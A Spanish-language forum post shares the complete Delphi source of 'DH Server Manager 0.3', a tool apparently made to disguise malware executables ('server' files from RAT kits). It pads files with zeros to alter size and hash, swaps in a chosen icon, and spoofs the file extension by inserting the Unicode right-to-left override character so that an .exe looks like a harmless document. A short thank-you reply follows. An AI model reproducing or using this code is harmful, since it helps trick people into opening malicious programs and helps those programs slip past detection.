Un simple programa en Delphi para modificar ejecutables con las siguientes opciones :

[+] File Pumper
[+] Extension Spoofer
[+] Icon Changer

Una imagen :

Imagen

// DH Server Manager 0.3
// (C) Doddy Hackman 2015
// Based on : http://www.nerdprogrammer.in/2014/05/the-rats-crew-aio.html

unit dhserverman;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  Vcl.ExtCtrls, Vcl.Imaging.pngimage, madRes, StrUtils;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    GroupBox1: TGroupBox;
    ruta_archivo: TEdit;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Button2: TButton;
    StatusBar1: TStatusBar;
    TabSheet5: TTabSheet;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    count: TEdit;
    UpDown1: TUpDown;
    tipo_cantidad: TComboBox;
    GroupBox5: TGroupBox;
    ruta_icono: TEdit;
    Button3: TButton;
    GroupBox6: TGroupBox;
    Image1: TImage;
    OpenDialog1: TOpenDialog;
    OpenDialog2: TOpenDialog;
    GroupBox7: TGroupBox;
    usefilepumper: TCheckBox;
    iconchanger: TCheckBox;
    extensiones: TComboBox;
    selectextension: TCheckBox;
    GroupBox8: TGroupBox;
    mi_extension: TCheckBox;
    esta_extension: TEdit;
    extensionchanger: TCheckBox;
    TabSheet4: TTabSheet;
    Image2: TImage;
    GroupBox9: TGroupBox;
    Image3: TImage;
    Memo1: TMemo;
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure file_pumper(archivo: string; cantidad: LongWord);
var
  arraycantidad: array of Byte;
  abriendo: TFileStream;
begin
  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  SetLength(arraycantidad, cantidad);
  ZeroMemory(@arraycantidad[1], cantidad);
  abriendo.Seek(0, soFromEnd);
  abriendo.Write(arraycantidad[0], High(arraycantidad));
  abriendo.Free;
end;

procedure extension_changer(archivo: string; extension: string);
var
  nombre: string;
begin
  nombre := ExtractFileName(archivo);
  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
    [rfReplaceAll, rfIgnoreCase]);
  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
end;

//

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    ruta_archivo.Text := OpenDialog1.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  change: dword;
  valor: string;
  tipocantidad: string;
  tipoextension: string;
  extensionacambiar: string;
begin

  if not(FileExists(ruta_archivo.Text)) then
  begin
    ShowMessage('Select File to change');
  end
  else
  begin

    StatusBar1.Panels[0].Text := '[+] Working ...';
    Form1.StatusBar1.Update;

    if (usefilepumper.Checked) then
    begin
      tipocantidad := tipo_cantidad.Items[tipo_cantidad.ItemIndex];
      if (tipocantidad = 'Byte') then
      begin
        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 8);
      end;
      if (tipocantidad = 'KiloByte') then
      begin
        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1024);
      end;
      if (tipocantidad = 'MegaByte') then
      begin
        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1048576);
      end;
      if (tipocantidad = 'GigaByte') then
      begin
        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1073741824);
      end;
      if (tipocantidad = 'TeraByte') then
      begin
        file_pumper(ruta_archivo.Text, StrToInt(count.Text) * 1099511627776);
      end;
    end;

    if (iconchanger.Checked) then
    begin
      try
        begin
          change := BeginUpdateResourceW
            (PWideChar(wideString(ruta_archivo.Text)), false);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(ruta_icono.Text)));
          EndUpdateResourceW(change, false);
        end;
      except
        begin
          //
        end;
      end;
    end;

    if (extensionchanger.Checked) then
    begin
      if not(selectextension.Checked and mi_extension.Checked) then
      begin
        if (selectextension.Checked) then
        begin
          extensionacambiar := extensiones.Items[extensiones.ItemIndex];
          extension_changer(ruta_archivo.Text, extensionacambiar);
        end;
        if (mi_extension.Checked) then
        begin
          extension_changer(ruta_archivo.Text, esta_extension.Text);
        end;
      end;
    end;

    StatusBar1.Panels[0].Text := '[+] Done';
    Form1.StatusBar1.Update;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  if OpenDialog2.Execute then
  begin
    ruta_icono.Text := OpenDialog2.FileName;
    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog2.InitialDir := GetCurrentDir;
  OpenDialog2.Filter := 'Icons|*.ico|';
end;

end.

// The End ?
Un video con ejemplos de uso :

[Enlace externo eliminado para invitados]

Si quieren bajar el programa lo pueden hacer de [Enlace externo eliminado para invitados].
Muchas gracias doddy,voy a bajarlo para probar. Como siempre,excelentes aportes amigo.
CryptoSharex.com  | Aceptando donaciones..gracias: 1CiVFiGwCtf1kpASyQB9j8dhNyJs5AfaMX
Responder

Volver a “Nuestros Programas”